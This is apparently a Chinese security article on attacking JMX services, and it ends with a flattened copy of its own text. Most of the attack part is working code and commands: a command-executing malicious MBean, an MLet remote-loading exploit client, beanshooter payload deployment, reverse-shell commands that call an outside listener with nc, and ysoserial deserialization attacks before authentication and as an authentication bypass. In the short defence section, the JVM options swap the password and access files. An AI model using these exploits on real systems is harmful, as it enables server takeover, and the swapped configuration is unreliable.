JAVA安全之JMX攻防研究分析
字数 1564 2025-08-22 12:23:00

JMX安全攻防研究分析

一、JMX基本介绍

JMX(Java Management Extensions, Java管理扩展)是一个为应用程序、设备、系统等植入管理功能的框架,具有以下特点:

  • 跨越异构操作系统平台、系统体系结构和网络传输协议
  • 灵活开发无缝集成的系统、网络和服务管理应用
  • 可理解为服务器,允许客户端远程访问运行在服务器上的Java程序的API
  • 运维常用工具(Zabbix、Cacti、Nagios)通过JMX监控Tomcat、Weblogic等服务器

二、JMX架构分析

JMX架构分为三层:

1. 基础层:MBean(被管理的资源)

MBean类型:

  • Standard MBean:最简单的类型,管理资源必须定义在接口中,命名规范为<MBean名称>MBean
  • Dynamic MBean:必须实现javax.management.DynamicMBean接口,属性方法在运行时定义
  • Open MBean:规范尚不完善
  • Model MBean:使用javax.management.modelmbean.RequiredModelMBean,管理资源在外部类中

2. 适配层:MBeanServer

提供对资源的注册和管理功能

3. 接入层:Connector

提供远程访问的入口

三、JMX简易示例

1. 本地MBean实现

文件结构

HelloWorld.java
HelloWorldMBean.java
jmxDemo.java

代码实现

HelloWorldMBean.java:

package com.jmx;
public interface HelloWorldMBean {
    public void sayhello();
    public int add(int x, int y);
    public String getName();
}

HelloWorld.java:

package com.jmx;
public class HelloWorld implements HelloWorldMBean {
    private String name = "Al1ex";
    @Override public void sayhello() {
        System.out.println("hello world " + this.name);
    }
    @Override public int add(int x, int y) {
        return x + y;
    }
    @Override public String getName() {
        return this.name;
    }
}

jmxDemo.java:

package com.jmx;
import java.lang.management.ManagementFactory;
import javax.management.MBeanServer;
import javax.management.ObjectName;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;

public class jmxDemo {
    public static void main(String[] args) throws Exception {
        MBeanServer mbs = ManagementFactory.getPlatformMBeanServer();
        ObjectName mbsname = new ObjectName("test:type=HelloWorld");
        HelloWorld mbean = new HelloWorld();
        mbs.registerMBean(mbean, mbsname);
        
        Registry registry = LocateRegistry.createRegistry(1099);
        JMXServiceURL jmxServiceURL = new JMXServiceURL(
            "service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");
        JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory
            .newJMXConnectorServer(jmxServiceURL, null, mbs);
        jmxConnectorServer.start();
        
        System.out.println("JMXConnectorServer is ready...");
        System.out.println("press any key to exit.");
        System.in.read();
    }
}

2. 远程MBean实现

攻击原理
JMX提供MLet对象,其getMBeansFromURL方法可加载远程MBean,导致远程代码执行漏洞

攻击步骤

  1. 编写恶意MBean接口EvilMBean.java:
public interface EvilMBean {
    public String runCommand(String cmd);
}
  1. 实现恶意MBeanEvil.java:
import java.io.*;
public class Evil implements EvilMBean {
    @Override public String runCommand(String cmd) {
        try {
            Runtime rt = Runtime.getRuntime();
            Process proc = rt.exec(cmd);
            BufferedReader stdInput = new BufferedReader(
                new InputStreamReader(proc.getInputStream()));
            BufferedReader stdError = new BufferedReader(
                new InputStreamReader(proc.getErrorStream()));
            String stdout_err_data = "";
            String s;
            while ((s = stdInput.readLine()) != null) {
                stdout_err_data += s + "\n";
            }
            while ((s = stdError.readLine()) != null) {
                stdout_err_data += s + "\n";
            }
            proc.waitFor();
            return stdout_err_data;
        } catch (Exception e) {
            return e.toString();
        }
    }
}
  1. 编译并打包为JAR:
javac Evil.java EvilMBean.java
jar -cvf JMXPayload.jar Evil.class EvilMBean.class
  1. 创建mlet文件:
<HTML><mlet code="Evil" archive="JMXPayload.jar" 
name="MLetCompromise1:name=Evil,id=10" 
codebase="http://127.0.0.1:4141"></mlet></HTML>
  1. 启动Web服务器托管文件:
python2 -m SimpleHTTPServer 4141
  1. 启动JMXServer:
import javax.management.MBeanServer;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
import java.io.IOException;
import java.lang.management.ManagementFactory;
import java.net.MalformedURLException;
import java.rmi.registry.LocateRegistry;

public class JMXServer {
    public static void main(String[] args) throws Exception {
        MBeanServer mbs = ManagementFactory.getPlatformMBeanServer();
        try {
            LocateRegistry.createRegistry(9999);
            JMXServiceURL url = new JMXServiceURL(
                "service:jmx:rmi:///jndi/rmi://127.0.0.1:9999/jmxrmi");
            JMXConnectorServer cs = JMXConnectorServerFactory
                .newJMXConnectorServer(url, null, mbs);
            System.out.println(".begin rmi start.....");
            cs.start();
            System.out.println(".rmi start.....");
        } catch (MalformedURLException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
  1. 构建ExploitJMXByRemoteMBean攻击:
package JMX_Remote;
import javax.management.MBeanServerConnection;
import javax.management.ObjectInstance;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.util.HashSet;
import java.util.Iterator;

public class ExploitJMXByRemoteMBean {
    public static void main(String[] args) {
        try {
            connectAndOwn("localhost", "9999", "hostname");
        } catch (Exception e) { e.printStackTrace(); }
    }
    
    static void connectAndOwn(String serverName, String port, String command) 
        throws MalformedURLException {
        try {
            // 1. 通过RMI创建JMX连接
            JMXServiceURL u = new JMXServiceURL(
                "service:jmx:rmi:///jndi/rmi://" + serverName + 
                ":" + port + "/jmxrmi");
            System.out.println("URL: " + u + ", connecting");
            JMXConnector c = JMXConnectorFactory.connect(u);
            System.out.println("Connected: " + c.getConnectionId());
            MBeanServerConnection m = c.getMBeanServerConnection();
            
            // 2. 加载特殊MBean:javax.management.loading.MLet
            ObjectInstance evil_bean = null;
            ObjectInstance evil = null;
            try {
                evil = m.createMBean("javax.management.loading.MLet", null);
            } catch (javax.management.InstanceAlreadyExistsException e) {
                evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
            }
            
            // 3. 通过MLet加载远程恶意MBean
            System.out.println("Loaded " + evil.getClassName());
            Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL", 
                new Object[]{String.format("http://%s:4141/mlet", 
                InetAddress.getLocalHost().getHostAddress())}, 
                new String[]{String.class.getName()});
            
            HashSet res_set = ((HashSet) res);
            Iterator itr = res_set.iterator();
            Object nextObject = itr.next();
            if (nextObject instanceof Exception) {
                throw ((Exception) nextObject);
            }
            evil_bean = ((ObjectInstance) nextObject);
            
            // 4. 执行恶意MBean
            System.out.println("Loaded class: " + evil_bean.getClassName() + 
                " object " + evil_bean.getObjectName());
            System.out.println("Calling runCommand with: " + command);
            Object result = m.invoke(evil_bean.getObjectName(), "runCommand", 
                new Object[]{command}, new String[]{String.class.getName()});
            System.out.println("Result: " + result);
        } catch (Exception e) { e.printStackTrace(); }
    }
}

四、JMX攻击利用方式

1. 自定义类攻击

使用工具(如beanshooter)向JMX服务端注册恶意MBean:

  1. 编译并打包恶意MBean为JAR
  2. 启动HTTP服务托管JAR文件
  3. 使用beanshooter部署JAR:
java -jar beanshooter.jar deploy 10.1.200.1 9999 Evil com.al1ex:type=Example --jar-file JMXPayload.jar --stager-url http://10.1.200.1:4141

2. 命令执行

  1. 使用mlet加载tonka MBeans:
java -jar beanshooter.jar mlet load 172.17.0.2 9010 tonka http://172.17.0.1:8000
  1. 借助tonka执行命令:
java -jar beanshooter.jar tonka exec 172.17.0.2 9010 id
  1. 清理恶意MBean:
java -jar beanshooter.jar undeploy 172.17.0.2 9010 MLetTonkaBean:name=TonkaBean,id=1

3. 反弹Shell

使用standard模块操作:

java -jar beanshooter.jar standard 172.17.0.2 9010 exec 'nc 172.17.0.1 4444 -e ash'

4. 认证模式攻击

  1. 开启监听:
nc -lnvp 1234
  1. 发起反序列化请求:
java -jar beanshooter.jar serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 1234 -e ash" --username admin --password admin

5. 预认证攻击

JMX服务易受预认证反序列化攻击(RMI-JRMP实现):

java -jar beanshooter.jar serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --preauth

6. 认证绕过攻击

利用原理:调用接受String参数的MBean方法,将String参数替换为gadget

使用ysoserial:

java -cp ysoserial.jar ysoserial.exploit.JMXInvokeMBean 127.0.0.1 9999 CommonsBeanutils1 calc.exe

代码实现:

package JMX_Remote;
import javax.management.MBeanServerConnection;
import javax.management.ObjectName;
import javax.management.remote.*;
import ysoserial.payloads.ObjectPayload.Utils;

public class jmxInvoke {
    public static void main(String[] args) throws Exception {
        JMXServiceURL url = new JMXServiceURL(
            "service:jmx:rmi:///jndi/rmi://192.168.174.153:9999/jmxrmi");
        JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
        MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
        ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
        Object payloadobject = Utils.makePayloadObject("Jdk7u21", "calc.exe");
        mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", 
            new Object[]{payloadobject}, 
            new String[]{String.class.getCanonicalName()});
    }
}

五、防御措施

  1. 业务安全考虑

    • 如不需要JMX服务,直接关闭
    • 如需开启,必须启用认证并妥善保管认证信息
  2. 认证配置

    • 创建jmxremote.access文件定义用户权限:
      monitorRole readonly
      controlRole readwrite
      
    • 创建jmxremote.password文件定义用户密码:
      monitorRole password123
      controlRole password456
      
    • 配置JMX Agent使用上述文件:
      -Dcom.sun.management.jmxremote.port=9999
      -Dcom.sun.management.jmxremote.authenticate=true
      -Dcom.sun.management.jmxremote.ssl=false
      -Dcom.sun.management.jmxremote.password.file=jmxremote.access
      -Dcom.sun.management.jmxremote.access.file=jmxremote.password
      

六、JMX安全问题总结

  1. JMX未授权访问

    • 未做身份认证导致服务对外暴露
    • 攻击者可通过Jconsole远程连接并调用方法
  2. JMX Mlet远程加载导致命令执行

    • 通过Mlet远程加载恶意MBean
    • 通过Jconsole或客户端调用执行命令
  3. JMX RMI攻击导致命令执行

    • JMX基于RMI构建
    • 使用Ysoserial攻击RMI Server获取权限
  4. JMX授权绕过导致命令执行

    • 数据传输时的序列化/反序列化机制漏洞
    • 构造恶意序列化数据在服务端执行
JMX安全攻防研究分析 一、JMX基本介绍 JMX(Java Management Extensions, Java管理扩展)是一个为应用程序、设备、系统等植入管理功能的框架,具有以下特点: 跨越异构操作系统平台、系统体系结构和网络传输协议 灵活开发无缝集成的系统、网络和服务管理应用 可理解为服务器,允许客户端远程访问运行在服务器上的Java程序的API 运维常用工具(Zabbix、Cacti、Nagios)通过JMX监控Tomcat、Weblogic等服务器 二、JMX架构分析 JMX架构分为三层: 1. 基础层:MBean(被管理的资源) MBean类型: Standard MBean :最简单的类型,管理资源必须定义在接口中,命名规范为 <MBean名称>MBean Dynamic MBean :必须实现 javax.management.DynamicMBean 接口,属性方法在运行时定义 Open MBean :规范尚不完善 Model MBean :使用 javax.management.modelmbean.RequiredModelMBean ,管理资源在外部类中 2. 适配层:MBeanServer 提供对资源的注册和管理功能 3. 接入层:Connector 提供远程访问的入口 三、JMX简易示例 1. 本地MBean实现 文件结构 : 代码实现 : HelloWorldMBean.java : HelloWorld.java : jmxDemo.java : 2. 远程MBean实现 攻击原理 : JMX提供 MLet 对象,其 getMBeansFromURL 方法可加载远程MBean,导致远程代码执行漏洞 攻击步骤 : 编写恶意MBean接口 EvilMBean.java : 实现恶意MBean Evil.java : 编译并打包为JAR: 创建mlet文件: 启动Web服务器托管文件: 启动JMXServer: 构建ExploitJMXByRemoteMBean攻击: 四、JMX攻击利用方式 1. 自定义类攻击 使用工具(如beanshooter)向JMX服务端注册恶意MBean: 编译并打包恶意MBean为JAR 启动HTTP服务托管JAR文件 使用beanshooter部署JAR: 2. 命令执行 使用mlet加载tonka MBeans: 借助tonka执行命令: 清理恶意MBean: 3. 反弹Shell 使用standard模块操作: 4. 认证模式攻击 开启监听: 发起反序列化请求: 5. 预认证攻击 JMX服务易受预认证反序列化攻击(RMI-JRMP实现): 6. 认证绕过攻击 利用原理:调用接受String参数的MBean方法,将String参数替换为gadget 使用ysoserial: 代码实现: 五、防御措施 业务安全考虑 : 如不需要JMX服务,直接关闭 如需开启,必须启用认证并妥善保管认证信息 认证配置 : 创建 jmxremote.access 文件定义用户权限: 创建 jmxremote.password 文件定义用户密码: 配置JMX Agent使用上述文件: 六、JMX安全问题总结 JMX未授权访问 : 未做身份认证导致服务对外暴露 攻击者可通过Jconsole远程连接并调用方法 JMX Mlet远程加载导致命令执行 : 通过Mlet远程加载恶意MBean 通过Jconsole或客户端调用执行命令 JMX RMI攻击导致命令执行 : JMX基于RMI构建 使用Ysoserial攻击RMI Server获取权限 JMX授权绕过导致命令执行 : 数据传输时的序列化/反序列化机制漏洞 构造恶意序列化数据在服务端执行